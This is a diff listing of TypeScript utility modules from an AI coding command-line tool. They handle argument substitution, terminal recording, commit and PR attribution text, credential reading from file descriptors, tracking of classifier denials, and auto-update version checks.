}
// Filter to only string tokens (ignore shell operators, etc.)
return result.tokens.filter(
(token): token is string => typeof token === 'string',
)
}
/**
* Parse argument names from the frontmatter 'arguments' field.
* Accepts either a space-separated string or an array of strings.
*
* Examples:
* - "foo bar baz" => ["foo", "bar", "baz"]
* - ["foo", "bar", "baz"] => ["foo", "bar", "baz"]
*/
export function parseArgumentNames(
argumentNames: string | string[] | undefined,
): string[] {
if (!argumentNames) {
return []
}
// Filter out empty strings and numeric-only names (which conflict with $0, $1 shorthand)
const isValidName = (name: string): boolean =>
typeof name === 'string' && name.trim() !== '' && !/^\d+$/.test(name)
if (Array.isArray(argumentNames)) {
return argumentNames.filter(isValidName)
}
if (typeof argumentNames === 'string') {
return argumentNames.split(/\s+/).filter(isValidName)
}
return []
}
/**
* Generate argument hint showing remaining unfilled args.
* @param argNames - Array of argument names from frontmatter
* @param typedArgs - Arguments the user has typed so far
* @returns Hint string like "[arg2] [arg3]" or undefined if all filled
*/
export function generateProgressiveArgumentHint(
argNames: string[],
typedArgs: string[],
): string | undefined {
const remaining = argNames.slice(typedArgs.length)
if (remaining.length === 0) return undefined
return remaining.map(name => `[${name}]`).join(' ')
}
/**
* Substitute $ARGUMENTS placeholders in content with actual argument values.
*
* @param content - The content containing placeholders
* @param args - The raw arguments string (may be undefined/null)
* @param appendIfNoPlaceholder - If true and no placeholders are found, appends "ARGUMENTS: {args}" to content
* @param argumentNames - Optional array of named arguments (e.g., ["foo", "bar"]) that map to indexed positions
* @returns The content with placeholders substituted
*/
export function substituteArguments(
content: string,
args: string | undefined,
appendIfNoPlaceholder = true,
argumentNames: string[] = [],
): string {
// undefined/null means no args provided - return content unchanged
// empty string is a valid input that should replace placeholders with empty
if (args === undefined || args === null) {
return content
}
const parsedArgs = parseArguments(args)
const originalContent = content
// Replace named arguments (e.g., $foo, $bar) with their values
// Named arguments map to positions: argumentNames[0] -> parsedArgs[0], etc.
for (let i = 0; i < argumentNames.length; i++) {
const name = argumentNames[i]
if (!name) continue
// Match $name but not $name[...] or $nameXxx (word chars)
// Also ensure we match word boundaries to avoid partial matches
content = content.replace(
new RegExp(`\\$${name}(?![\\[\\w])`, 'g'),
parsedArgs[i] ?? '',
)
}
// Replace indexed arguments ($ARGUMENTS[0], $ARGUMENTS[1], etc.)
content = content.replace(/\$ARGUMENTS\[(\d+)\]/g, (_, indexStr: string) => {
const index = parseInt(indexStr, 10)
return parsedArgs[index] ?? ''
})
// Replace shorthand indexed arguments ($0, $1, etc.)
content = content.replace(/\$(\d+)(?!\w)/g, (_, indexStr: string) => {
const index = parseInt(indexStr, 10)
return parsedArgs[index] ?? ''
})
// Replace $ARGUMENTS with the full arguments string
content = content.replaceAll('$ARGUMENTS', args)
// If no placeholders were found and appendIfNoPlaceholder is true, append
// But only if args is non-empty (empty string means command invoked with no args)
if (content === originalContent && appendIfNoPlaceholder && args) {
content = content + `\n\nARGUMENTS: ${args}`
}
return content
}

13
src/utils/array.ts Normal file
View File

@@ -0,0 +1,13 @@
export function intersperse<A>(as: A[], separator: (index: number) => A): A[] {
return as.flatMap((a, i) => (i ? [separator(i), a] : [a]))
}
export function count<T>(arr: readonly T[], pred: (x: T) => unknown): number {
let n = 0
for (const x of arr) n += +!!pred(x)
return n
}
export function uniq<T>(xs: Iterable<T>): T[] {
return [...new Set(xs)]
}

239
src/utils/asciicast.ts Normal file
View File

@@ -0,0 +1,239 @@
import { appendFile, rename } from 'fs/promises'
import { basename, dirname, join } from 'path'
import { getOriginalCwd, getSessionId } from '../bootstrap/state.js'
import { createBufferedWriter } from './bufferedWriter.js'
import { registerCleanup } from './cleanupRegistry.js'
import { logForDebugging } from './debug.js'
import { getClaudeConfigHomeDir, isEnvTruthy } from './envUtils.js'
import { getFsImplementation } from './fsOperations.js'
import { sanitizePath } from './path.js'
import { jsonStringify } from './slowOperations.js'
// Mutable recording state — filePath is updated when session ID changes (e.g., --resume)
const recordingState: { filePath: string | null; timestamp: number } = {
filePath: null,
timestamp: 0,
}
/**
* Get the asciicast recording file path.
* For ants with CLAUDE_CODE_TERMINAL_RECORDING=1: returns a path.
* Otherwise: returns null.
* The path is computed once and cached in recordingState.
*/
export function getRecordFilePath(): string | null {
if (recordingState.filePath !== null) {
return recordingState.filePath
}
if (process.env.USER_TYPE !== 'ant') {
return null
}
if (!isEnvTruthy(process.env.CLAUDE_CODE_TERMINAL_RECORDING)) {
return null
}
// Record alongside the transcript.
// Each launch gets its own file so --continue produces multiple recordings.
const projectsDir = join(getClaudeConfigHomeDir(), 'projects')
const projectDir = join(projectsDir, sanitizePath(getOriginalCwd()))
recordingState.timestamp = Date.now()
recordingState.filePath = join(
projectDir,
`${getSessionId()}-${recordingState.timestamp}.cast`,
)
return recordingState.filePath
}
export function _resetRecordingStateForTesting(): void {
recordingState.filePath = null
recordingState.timestamp = 0
}
/**
* Find all .cast files for the current session.
* Returns paths sorted by filename (chronological by timestamp suffix).
*/
export function getSessionRecordingPaths(): string[] {
const sessionId = getSessionId()
const projectsDir = join(getClaudeConfigHomeDir(), 'projects')
const projectDir = join(projectsDir, sanitizePath(getOriginalCwd()))
try {
// eslint-disable-next-line custom-rules/no-sync-fs -- called during /share before upload, not in hot path
const entries = getFsImplementation().readdirSync(projectDir)
const names = (
typeof entries[0] === 'string'
? entries
: (entries as { name: string }[]).map(e => e.name)
) as string[]
const files = names
.filter(f => f.startsWith(sessionId) && f.endsWith('.cast'))
.sort()
return files.map(f => join(projectDir, f))
} catch {
return []
}
}
/**
* Rename the recording file to match the current session ID.
* Called after --resume/--continue changes the session ID via switchSession().
* The recorder was installed with the initial (random) session ID; this renames
* the file so getSessionRecordingPaths() can find it by the resumed session ID.
*/
export async function renameRecordingForSession(): Promise<void> {
const oldPath = recordingState.filePath
if (!oldPath || recordingState.timestamp === 0) {
return
}
const projectsDir = join(getClaudeConfigHomeDir(), 'projects')
const projectDir = join(projectsDir, sanitizePath(getOriginalCwd()))
const newPath = join(
projectDir,
`${getSessionId()}-${recordingState.timestamp}.cast`,
)
if (oldPath === newPath) {
return
}
// Flush pending writes before renaming
await recorder?.flush()
const oldName = basename(oldPath)
const newName = basename(newPath)
try {
await rename(oldPath, newPath)
recordingState.filePath = newPath
logForDebugging(`[asciicast] Renamed recording: ${oldName}${newName}`)
} catch {
logForDebugging(
`[asciicast] Failed to rename recording from ${oldName} to ${newName}`,
)
}
}
type AsciicastRecorder = {
flush(): Promise<void>
dispose(): Promise<void>
}
let recorder: AsciicastRecorder | null = null
function getTerminalSize(): { cols: number; rows: number } {
// Direct access to stdout dimensions — not in a React component
// eslint-disable-next-line custom-rules/prefer-use-terminal-size
const cols = process.stdout.columns || 80
// eslint-disable-next-line custom-rules/prefer-use-terminal-size
const rows = process.stdout.rows || 24
return { cols, rows }
}
/**
* Flush pending recording data to disk.
* Call before reading the .cast file (e.g., during /share).
*/
export async function flushAsciicastRecorder(): Promise<void> {
await recorder?.flush()
}
/**
* Install the asciicast recorder.
* Wraps process.stdout.write to capture all terminal output with timestamps.
* Must be called before Ink mounts.
*/
export function installAsciicastRecorder(): void {
const filePath = getRecordFilePath()
if (!filePath) {
return
}
const { cols, rows } = getTerminalSize()
const startTime = performance.now()
// Write the asciicast v2 header
const header = jsonStringify({
version: 2,
width: cols,
height: rows,
timestamp: Math.floor(Date.now() / 1000),
env: {
SHELL: process.env.SHELL || '',
TERM: process.env.TERM || '',
},
})
try {
// eslint-disable-next-line custom-rules/no-sync-fs -- one-time init before Ink mounts
getFsImplementation().mkdirSync(dirname(filePath))
} catch {
// Directory may already exist
}
// eslint-disable-next-line custom-rules/no-sync-fs -- one-time init before Ink mounts
getFsImplementation().appendFileSync(filePath, header + '\n', { mode: 0o600 })
let pendingWrite: Promise<void> = Promise.resolve()
const writer = createBufferedWriter({
writeFn(content: string) {
// Use recordingState.filePath (mutable) so writes follow renames from --resume
const currentPath = recordingState.filePath
if (!currentPath) {
return
}
pendingWrite = pendingWrite
.then(() => appendFile(currentPath, content))
.catch(() => {
// Silently ignore write errors — don't break the session
})
},
flushIntervalMs: 500,
maxBufferSize: 50,
maxBufferBytes: 10 * 1024 * 1024, // 10MB
})
// Wrap process.stdout.write to capture output
const originalWrite = process.stdout.write.bind(
process.stdout,
) as typeof process.stdout.write
process.stdout.write = function (
chunk: string | Uint8Array,
encodingOrCb?: BufferEncoding | ((err?: Error) => void),
cb?: (err?: Error) => void,
): boolean {
// Record the output event
const elapsed = (performance.now() - startTime) / 1000
const text =
typeof chunk === 'string' ? chunk : Buffer.from(chunk).toString('utf-8')
writer.write(jsonStringify([elapsed, 'o', text]) + '\n')
// Pass through to the real stdout
if (typeof encodingOrCb === 'function') {
return originalWrite(chunk, encodingOrCb)
}
return originalWrite(chunk, encodingOrCb, cb)
} as typeof process.stdout.write
// Handle terminal resize events
function onResize(): void {
const elapsed = (performance.now() - startTime) / 1000
const { cols: newCols, rows: newRows } = getTerminalSize()
writer.write(jsonStringify([elapsed, 'r', `${newCols}x${newRows}`]) + '\n')
}
process.stdout.on('resize', onResize)
recorder = {
async flush(): Promise<void> {
writer.flush()
await pendingWrite
},
async dispose(): Promise<void> {
writer.dispose()
await pendingWrite
process.stdout.removeListener('resize', onResize)
process.stdout.write = originalWrite
},
}
registerCleanup(async () => {
await recorder?.dispose()
recorder = null
})
logForDebugging(`[asciicast] Recording to ${filePath}`)
}

3997
src/utils/attachments.ts Normal file

File diff suppressed because it is too large Load Diff

393
src/utils/attribution.ts Normal file
View File

@@ -0,0 +1,393 @@
import { feature } from 'bun:bundle'
import { stat } from 'fs/promises'
import { getClientType } from '../bootstrap/state.js'
import {
getRemoteSessionUrl,
isRemoteSessionLocal,
PRODUCT_URL,
} from '../constants/product.js'
import { TERMINAL_OUTPUT_TAGS } from '../constants/xml.js'
import type { AppState } from '../state/AppState.js'
import { FILE_EDIT_TOOL_NAME } from '../tools/FileEditTool/constants.js'
import { FILE_READ_TOOL_NAME } from '../tools/FileReadTool/prompt.js'
import { FILE_WRITE_TOOL_NAME } from '../tools/FileWriteTool/prompt.js'
import { GLOB_TOOL_NAME } from '../tools/GlobTool/prompt.js'
import { GREP_TOOL_NAME } from '../tools/GrepTool/prompt.js'
import type { Entry } from '../types/logs.js'
import {
type AttributionData,
calculateCommitAttribution,
isInternalModelRepo,
isInternalModelRepoCached,
sanitizeModelName,
} from './commitAttribution.js'
import { logForDebugging } from './debug.js'
import { parseJSONL } from './json.js'
import { logError } from './log.js'
import {
getCanonicalName,
getMainLoopModel,
getPublicModelDisplayName,
getPublicModelName,
} from './model/model.js'
import { isMemoryFileAccess } from './sessionFileAccessHooks.js'
import { getTranscriptPath } from './sessionStorage.js'
import { readTranscriptForLoad } from './sessionStoragePortable.js'
import { getInitialSettings } from './settings/settings.js'
import { isUndercover } from './undercover.js'
export type AttributionTexts = {
commit: string
pr: string
}
/**
* Returns attribution text for commits and PRs based on user settings.
* Handles:
* - Dynamic model name via getPublicModelName()
* - Custom attribution settings (settings.attribution.commit/pr)
* - Backward compatibility with deprecated includeCoAuthoredBy setting
* - Remote mode: returns session URL for attribution
*/
export function getAttributionTexts(): AttributionTexts {
if (process.env.USER_TYPE === 'ant' && isUndercover()) {
return { commit: '', pr: '' }
}
if (getClientType() === 'remote') {
const remoteSessionId = process.env.CLAUDE_CODE_REMOTE_SESSION_ID
if (remoteSessionId) {
const ingressUrl = process.env.SESSION_INGRESS_URL
// Skip for local dev - URLs won't persist
if (!isRemoteSessionLocal(remoteSessionId, ingressUrl)) {
const sessionUrl = getRemoteSessionUrl(remoteSessionId, ingressUrl)
return { commit: sessionUrl, pr: sessionUrl }
}
}
return { commit: '', pr: '' }
}
// @[MODEL LAUNCH]: Update the hardcoded fallback model name below (guards against codename leaks).
// For internal repos, use the real model name. For external repos,
// fall back to "Claude Opus 4.6" for unrecognized models to avoid leaking codenames.
const model = getMainLoopModel()
const isKnownPublicModel = getPublicModelDisplayName(model) !== null
const modelName =
isInternalModelRepoCached() || isKnownPublicModel
? getPublicModelName(model)
: 'Claude Opus 4.6'
const defaultAttribution = `🤖 Generated with [Claude Code](${PRODUCT_URL})`
const defaultCommit = `Co-Authored-By: ${modelName} <noreply@anthropic.com>`
const settings = getInitialSettings()
// New attribution setting takes precedence over deprecated includeCoAuthoredBy
if (settings.attribution) {
return {
commit: settings.attribution.commit ?? defaultCommit,
pr: settings.attribution.pr ?? defaultAttribution,
}
}
// Backward compatibility: deprecated includeCoAuthoredBy setting
if (settings.includeCoAuthoredBy === false) {
return { commit: '', pr: '' }
}
return { commit: defaultCommit, pr: defaultAttribution }
}
/**
* Check if a message content string is terminal output rather than a user prompt.
* Terminal output includes bash input/output tags and caveat messages about local commands.
*/
function isTerminalOutput(content: string): boolean {
for (const tag of TERMINAL_OUTPUT_TAGS) {
if (content.includes(`<${tag}>`)) {
return true
}
}
return false
}
/**
* Count user messages with visible text content in a list of non-sidechain messages.
* Excludes tool_result blocks, terminal output, and empty messages.
*
* Callers should pass messages already filtered to exclude sidechain messages.
*/
export function countUserPromptsInMessages(
messages: ReadonlyArray<{ type: string; message?: { content?: unknown } }>,
): number {
let count = 0
for (const message of messages) {
if (message.type !== 'user') {
continue
}
const content = message.message?.content
if (!content) {
continue
}
let hasUserText = false
if (typeof content === 'string') {
if (isTerminalOutput(content)) {
continue
}
hasUserText = content.trim().length > 0
} else if (Array.isArray(content)) {
hasUserText = content.some(block => {
if (!block || typeof block !== 'object' || !('type' in block)) {
return false
}
return (
(block.type === 'text' &&
typeof block.text === 'string' &&
!isTerminalOutput(block.text)) ||
block.type === 'image' ||
block.type === 'document'
)
})
}
if (hasUserText) {
count++
}
}
return count
}
/**
* Count non-sidechain user messages in transcript entries.
* Used to calculate the number of "steers" (user prompts - 1).
*
* Counts user messages that contain actual user-typed text,
* excluding tool_result blocks, sidechain messages, and terminal output.
*/
function countUserPromptsFromEntries(entries: ReadonlyArray<Entry>): number {
const nonSidechain = entries.filter(
entry =>
entry.type === 'user' && !('isSidechain' in entry && entry.isSidechain),
)
return countUserPromptsInMessages(nonSidechain)
}
/**
* Get full attribution data from the provided AppState's attribution state.
* Uses ALL tracked files from the attribution state (not just staged files)
* because for PR attribution, files may not be staged yet.
* Returns null if no attribution data is available.
*/
async function getPRAttributionData(
appState: AppState,
): Promise<AttributionData | null> {
const attribution = appState.attribution
if (!attribution) {
return null
}
// Handle both Map and plain object (in case of serialization)
const fileStates = attribution.fileStates
const isMap = fileStates instanceof Map
const trackedFiles = isMap
? Array.from(fileStates.keys())
: Object.keys(fileStates)
if (trackedFiles.length === 0) {
return null
}
try {
return await calculateCommitAttribution([attribution], trackedFiles)
} catch (error) {
logError(error as Error)
return null
}
}
const MEMORY_ACCESS_TOOL_NAMES = new Set([
FILE_READ_TOOL_NAME,
GREP_TOOL_NAME,
GLOB_TOOL_NAME,
FILE_EDIT_TOOL_NAME,
FILE_WRITE_TOOL_NAME,
])
/**
* Count memory file accesses in transcript entries.
* Uses the same detection conditions as the PostToolUse session file access hooks.
*/
function countMemoryFileAccessFromEntries(
entries: ReadonlyArray<Entry>,
): number {
let count = 0
for (const entry of entries) {
if (entry.type !== 'assistant') continue
const content = entry.message?.content
if (!Array.isArray(content)) continue
for (const block of content) {
if (
block.type !== 'tool_use' ||
!MEMORY_ACCESS_TOOL_NAMES.has(block.name)
)
continue
if (isMemoryFileAccess(block.name, block.input)) count++
}
}
return count
}
/**
* Read session transcript entries and compute prompt count and memory access
* count. Pre-compact entries are skipped — the N-shot count and memory-access
* count should reflect only the current conversation arc, not accumulated
* prompts from before a compaction boundary.
*/
async function getTranscriptStats(): Promise<{
promptCount: number
memoryAccessCount: number
}> {
try {
const filePath = getTranscriptPath()
const fileSize = (await stat(filePath)).size
// Fused reader: attr-snap lines (84% of a long session by bytes) are
// skipped at the fd level so peak scales with output, not file size. The
// one surviving attr-snap at EOF is a no-op for the count functions
// (neither checks type === 'attribution-snapshot'). When the last
// boundary has preservedSegment the reader returns full (no truncate);
// the findLastIndex below still slices to post-boundary.
const scan = await readTranscriptForLoad(filePath, fileSize)
const buf = scan.postBoundaryBuf
const entries = parseJSONL<Entry>(buf)
const lastBoundaryIdx = entries.findLastIndex(
e =>
e.type === 'system' &&
'subtype' in e &&
e.subtype === 'compact_boundary',
)
const postBoundary =
lastBoundaryIdx >= 0 ? entries.slice(lastBoundaryIdx + 1) : entries
return {
promptCount: countUserPromptsFromEntries(postBoundary),
memoryAccessCount: countMemoryFileAccessFromEntries(postBoundary),
}
} catch {
return { promptCount: 0, memoryAccessCount: 0 }
}
}
/**
* Get enhanced PR attribution text with Claude contribution stats.
*
* Format: "🤖 Generated with Claude Code (93% 3-shotted by claude-opus-4-5)"
*
* Rules:
* - Shows Claude contribution percentage from commit attribution
* - Shows N-shotted where N is the prompt count (1-shotted, 2-shotted, etc.)
* - Shows short model name (e.g., claude-opus-4-5)
* - Returns default attribution if stats can't be computed
*
* @param getAppState Function to get the current AppState (from command context)
*/
export async function getEnhancedPRAttribution(
getAppState: () => AppState,
): Promise<string> {
if (process.env.USER_TYPE === 'ant' && isUndercover()) {
return ''
}
if (getClientType() === 'remote') {
const remoteSessionId = process.env.CLAUDE_CODE_REMOTE_SESSION_ID
if (remoteSessionId) {
const ingressUrl = process.env.SESSION_INGRESS_URL
// Skip for local dev - URLs won't persist
if (!isRemoteSessionLocal(remoteSessionId, ingressUrl)) {
return getRemoteSessionUrl(remoteSessionId, ingressUrl)
}
}
return ''
}
const settings = getInitialSettings()
// If user has custom PR attribution, use that
if (settings.attribution?.pr) {
return settings.attribution.pr
}
// Backward compatibility: deprecated includeCoAuthoredBy setting
if (settings.includeCoAuthoredBy === false) {
return ''
}
const defaultAttribution = `🤖 Generated with [Claude Code](${PRODUCT_URL})`
// Get AppState first
const appState = getAppState()
logForDebugging(
`PR Attribution: appState.attribution exists: ${!!appState.attribution}`,
)
if (appState.attribution) {
const fileStates = appState.attribution.fileStates
const isMap = fileStates instanceof Map
const fileCount = isMap ? fileStates.size : Object.keys(fileStates).length
logForDebugging(`PR Attribution: fileStates count: ${fileCount}`)
}
// Get attribution stats (transcript is read once for both prompt count and memory access)
const [attributionData, { promptCount, memoryAccessCount }, isInternal] =
await Promise.all([
getPRAttributionData(appState),
getTranscriptStats(),
isInternalModelRepo(),
])
const claudePercent = attributionData?.summary.claudePercent ?? 0
logForDebugging(
`PR Attribution: claudePercent: ${claudePercent}, promptCount: ${promptCount}, memoryAccessCount: ${memoryAccessCount}`,
)
// Get short model name, sanitized for non-internal repos
const rawModelName = getCanonicalName(getMainLoopModel())
const shortModelName = isInternal
? rawModelName
: sanitizeModelName(rawModelName)
// If no attribution data, return default
if (claudePercent === 0 && promptCount === 0 && memoryAccessCount === 0) {
logForDebugging('PR Attribution: returning default (no data)')
return defaultAttribution
}
// Build the enhanced attribution: "🤖 Generated with Claude Code (93% 3-shotted by claude-opus-4-5, 2 memories recalled)"
const memSuffix =
memoryAccessCount > 0
? `, ${memoryAccessCount} ${memoryAccessCount === 1 ? 'memory' : 'memories'} recalled`
: ''
const summary = `🤖 Generated with [Claude Code](${PRODUCT_URL}) (${claudePercent}% ${promptCount}-shotted by ${shortModelName}${memSuffix})`
// Append trailer lines for squash-merge survival. Only for allowlisted repos
// (INTERNAL_MODEL_REPOS) and only in builds with COMMIT_ATTRIBUTION enabled —
// attributionTrailer.ts contains excluded strings, so reach it via dynamic
// import behind feature(). When the repo is configured with
// squash_merge_commit_message=PR_BODY (cli, apps), the PR body becomes the
// squash commit body verbatim — trailer lines at the end become proper git
// trailers on the squash commit.
if (feature('COMMIT_ATTRIBUTION') && isInternal && attributionData) {
const { buildPRTrailers } = await import('./attributionTrailer.js')
const trailers = buildPRTrailers(attributionData, appState.attribution)
const result = `${summary}\n\n${trailers.join('\n')}`
logForDebugging(`PR Attribution: returning with trailers: ${result}`)
return result
}
logForDebugging(`PR Attribution: returning summary: ${summary}`)
return summary
}

2002
src/utils/auth.ts Normal file

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,196 @@
import { mkdirSync, writeFileSync } from 'fs'
import {
getApiKeyFromFd,
getOauthTokenFromFd,
setApiKeyFromFd,
setOauthTokenFromFd,
} from '../bootstrap/state.js'
import { logForDebugging } from './debug.js'
import { isEnvTruthy } from './envUtils.js'
import { errorMessage, isENOENT } from './errors.js'
import { getFsImplementation } from './fsOperations.js'
/**
* Well-known token file locations in CCR. The Go environment-manager creates
* /home/claude/.claude/remote/ and will (eventually) write these files too.
* Until then, this module writes them on successful FD read so subprocesses
* spawned inside the CCR container can find the token without inheriting
* the FD — which they can't: pipe FDs don't cross tmux/shell boundaries.
*/
const CCR_TOKEN_DIR = '/home/claude/.claude/remote'
export const CCR_OAUTH_TOKEN_PATH = `${CCR_TOKEN_DIR}/.oauth_token`
export const CCR_API_KEY_PATH = `${CCR_TOKEN_DIR}/.api_key`
export const CCR_SESSION_INGRESS_TOKEN_PATH = `${CCR_TOKEN_DIR}/.session_ingress_token`
/**
* Best-effort write of the token to a well-known location for subprocess
* access. CCR-gated: outside CCR there's no /home/claude/ and no reason to
* put a token on disk that the FD was meant to keep off disk.
*/
export function maybePersistTokenForSubprocesses(
path: string,
token: string,
tokenName: string,
): void {
if (!isEnvTruthy(process.env.CLAUDE_CODE_REMOTE)) {
return
}
try {
// eslint-disable-next-line custom-rules/no-sync-fs -- one-shot startup write in CCR, caller is sync
mkdirSync(CCR_TOKEN_DIR, { recursive: true, mode: 0o700 })
// eslint-disable-next-line custom-rules/no-sync-fs -- one-shot startup write in CCR, caller is sync
writeFileSync(path, token, { encoding: 'utf8', mode: 0o600 })
logForDebugging(`Persisted ${tokenName} to ${path} for subprocess access`)
} catch (error) {
logForDebugging(
`Failed to persist ${tokenName} to disk (non-fatal): ${errorMessage(error)}`,
{ level: 'error' },
)
}
}
/**
* Fallback read from a well-known file. The path only exists in CCR (env-manager
* creates the directory), so file-not-found is the expected outcome everywhere
* else — treated as "no fallback", not an error.
*/
export function readTokenFromWellKnownFile(
path: string,
tokenName: string,
): string | null {
try {
const fsOps = getFsImplementation()
// eslint-disable-next-line custom-rules/no-sync-fs -- fallback read for CCR subprocess path, one-shot at startup, caller is sync
const token = fsOps.readFileSync(path, { encoding: 'utf8' }).trim()
if (!token) {
return null
}
logForDebugging(`Read ${tokenName} from well-known file ${path}`)
return token
} catch (error) {
// ENOENT is the expected outcome outside CCR — stay silent. Anything
// else (EACCES from perm misconfig, etc.) is worth surfacing in the
// debug log so subprocess auth failures aren't mysterious.
if (!isENOENT(error)) {
logForDebugging(
`Failed to read ${tokenName} from ${path}: ${errorMessage(error)}`,
{ level: 'debug' },
)
}
return null
}
}
/**
* Shared FD-or-well-known-file credential reader.
*
* Priority order:
* 1. File descriptor (legacy path) — env var points at a pipe FD passed by
* the Go env-manager via cmd.ExtraFiles. Pipe is drained on first read
* and doesn't cross exec/tmux boundaries.
* 2. Well-known file — written by this function on successful FD read (and
* eventually by the env-manager directly). Covers subprocesses that can't
* inherit the FD.
*
* Returns null if neither source has a credential. Cached in global state.
*/
function getCredentialFromFd({
envVar,
wellKnownPath,
label,
getCached,
setCached,
}: {
envVar: string
wellKnownPath: string
label: string
getCached: () => string | null | undefined
setCached: (value: string | null) => void
}): string | null {
const cached = getCached()
if (cached !== undefined) {
return cached
}
const fdEnv = process.env[envVar]
if (!fdEnv) {
// No FD env var — either we're not in CCR, or we're a subprocess whose
// parent stripped the (useless) FD env var. Try the well-known file.
const fromFile = readTokenFromWellKnownFile(wellKnownPath, label)
setCached(fromFile)
return fromFile
}
const fd = parseInt(fdEnv, 10)
if (Number.isNaN(fd)) {
logForDebugging(
`${envVar} must be a valid file descriptor number, got: ${fdEnv}`,
{ level: 'error' },
)
setCached(null)
return null
}
try {
// Use /dev/fd on macOS/BSD, /proc/self/fd on Linux
const fsOps = getFsImplementation()
const fdPath =
process.platform === 'darwin' || process.platform === 'freebsd'
? `/dev/fd/${fd}`
: `/proc/self/fd/${fd}`
// eslint-disable-next-line custom-rules/no-sync-fs -- legacy FD path, read once at startup, caller is sync
const token = fsOps.readFileSync(fdPath, { encoding: 'utf8' }).trim()
if (!token) {
logForDebugging(`File descriptor contained empty ${label}`, {
level: 'error',
})
setCached(null)
return null
}
logForDebugging(`Successfully read ${label} from file descriptor ${fd}`)
setCached(token)
maybePersistTokenForSubprocesses(wellKnownPath, token, label)
return token
} catch (error) {
logForDebugging(
`Failed to read ${label} from file descriptor ${fd}: ${errorMessage(error)}`,
{ level: 'error' },
)
// FD env var was set but read failed — typically a subprocess that
// inherited the env var but not the FD (ENXIO). Try the well-known file.
const fromFile = readTokenFromWellKnownFile(wellKnownPath, label)
setCached(fromFile)
return fromFile
}
}
/**
* Get the CCR-injected OAuth token. See getCredentialFromFd for FD-vs-disk
* rationale. Env var: CLAUDE_CODE_OAUTH_TOKEN_FILE_DESCRIPTOR.
* Well-known file: /home/claude/.claude/remote/.oauth_token.
*/
export function getOAuthTokenFromFileDescriptor(): string | null {
return getCredentialFromFd({
envVar: 'CLAUDE_CODE_OAUTH_TOKEN_FILE_DESCRIPTOR',
wellKnownPath: CCR_OAUTH_TOKEN_PATH,
label: 'OAuth token',
getCached: getOauthTokenFromFd,
setCached: setOauthTokenFromFd,
})
}
/**
* Get the CCR-injected API key. See getCredentialFromFd for FD-vs-disk
* rationale. Env var: CLAUDE_CODE_API_KEY_FILE_DESCRIPTOR.
* Well-known file: /home/claude/.claude/remote/.api_key.
*/
export function getApiKeyFromFileDescriptor(): string | null {
return getCredentialFromFd({
envVar: 'CLAUDE_CODE_API_KEY_FILE_DESCRIPTOR',
wellKnownPath: CCR_API_KEY_PATH,
label: 'API key',
getCached: getApiKeyFromFd,
setCached: setApiKeyFromFd,
})
}

19
src/utils/authPortable.ts Normal file
View File

@@ -0,0 +1,19 @@
import { execa } from 'execa'
import { getMacOsKeychainStorageServiceName } from 'src/utils/secureStorage/macOsKeychainHelpers.js'
export async function maybeRemoveApiKeyFromMacOSKeychainThrows(): Promise<void> {
if (process.platform === 'darwin') {
const storageServiceName = getMacOsKeychainStorageServiceName()
const result = await execa(
`security delete-generic-password -a $USER -s "${storageServiceName}"`,
{ shell: true, reject: false },
)
if (result.exitCode !== 0) {
throw new Error('Failed to delete keychain entry')
}
}
}
export function normalizeApiKeyForConfig(apiKey: string): string {
return apiKey.slice(-20)
}

View File

@@ -0,0 +1,26 @@
/**
* Tracks commands recently denied by the auto mode classifier.
* Populated from useCanUseTool.ts, read from RecentDenialsTab.tsx in /permissions.
*/
import { feature } from 'bun:bundle'
export type AutoModeDenial = {
toolName: string
/** Human-readable description of the denied command (e.g. bash command string) */
display: string
reason: string
timestamp: number
}
let DENIALS: readonly AutoModeDenial[] = []
const MAX_DENIALS = 20
export function recordAutoModeDenial(denial: AutoModeDenial): void {
if (!feature('TRANSCRIPT_CLASSIFIER')) return
DENIALS = [denial, ...DENIALS.slice(0, MAX_DENIALS - 1)]
}
export function getAutoModeDenials(): readonly AutoModeDenial[] {
return DENIALS
}

122
src/utils/autoRunIssue.tsx Normal file

File diff suppressed because one or more lines are too long

561
src/utils/autoUpdater.ts Normal file
View File

@@ -0,0 +1,561 @@
import axios from 'axios'
import { constants as fsConstants } from 'fs'
import { access, writeFile } from 'fs/promises'
import { homedir } from 'os'
import { join } from 'path'
import { getDynamicConfig_BLOCKS_ON_INIT } from 'src/services/analytics/growthbook.js'
import {
type AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
logEvent,
} from 'src/services/analytics/index.js'
import { type ReleaseChannel, saveGlobalConfig } from './config.js'
import { logForDebugging } from './debug.js'
import { env } from './env.js'
import { getClaudeConfigHomeDir } from './envUtils.js'
import { ClaudeError, getErrnoCode, isENOENT } from './errors.js'
import { execFileNoThrowWithCwd } from './execFileNoThrow.js'
import { getFsImplementation } from './fsOperations.js'
import { gracefulShutdownSync } from './gracefulShutdown.js'
import { logError } from './log.js'
import { gte, lt } from './semver.js'
import { getInitialSettings } from './settings/settings.js'
import {
filterClaudeAliases,
getShellConfigPaths,
readFileLines,
writeFileLines,
} from './shellConfig.js'
import { jsonParse } from './slowOperations.js'
const GCS_BUCKET_URL =
'https://storage.googleapis.com/claude-code-dist-86c565f3-f756-42ad-8dfa-d59b1c096819/claude-code-releases'
class AutoUpdaterError extends ClaudeError {}
export type InstallStatus =
| 'success'
| 'no_permissions'
| 'install_failed'
| 'in_progress'
export type AutoUpdaterResult = {
version: string | null
status: InstallStatus
notifications?: string[]
}
export type MaxVersionConfig = {
external?: string
ant?: string
external_message?: string
ant_message?: string
}
/**
* Checks if the current version meets the minimum required version from Statsig config
* Terminates the process with an error message if the version is too old
*
* NOTE ON SHA-BASED VERSIONING:
* We use SemVer-compliant versioning with build metadata format (X.X.X+SHA) for continuous deployment.
* According to SemVer specs, build metadata (the +SHA part) is ignored when comparing versions.
*
* Versioning approach:
* 1. For version requirements/compatibility (assertMinVersion), we use semver comparison that ignores build metadata
* 2. For updates ('claude update'), we use exact string comparison to detect any change, including SHA
* - This ensures users always get the latest build, even when only the SHA changes
* - The UI clearly shows both versions including build metadata
*
* This approach keeps version comparison logic simple while maintaining traceability via the SHA.
*/
export async function assertMinVersion(): Promise<void> {
if (process.env.NODE_ENV === 'test') {
return
}
try {
const versionConfig = await getDynamicConfig_BLOCKS_ON_INIT<{
minVersion: string
}>('tengu_version_config', { minVersion: '0.0.0' })
if (
versionConfig.minVersion &&
lt(MACRO.VERSION, versionConfig.minVersion)
) {
// biome-ignore lint/suspicious/noConsole:: intentional console output
console.error(`
It looks like your version of Claude Code (${MACRO.VERSION}) needs an update.
A newer version (${versionConfig.minVersion} or higher) is required to continue.
To update, please run:
claude update
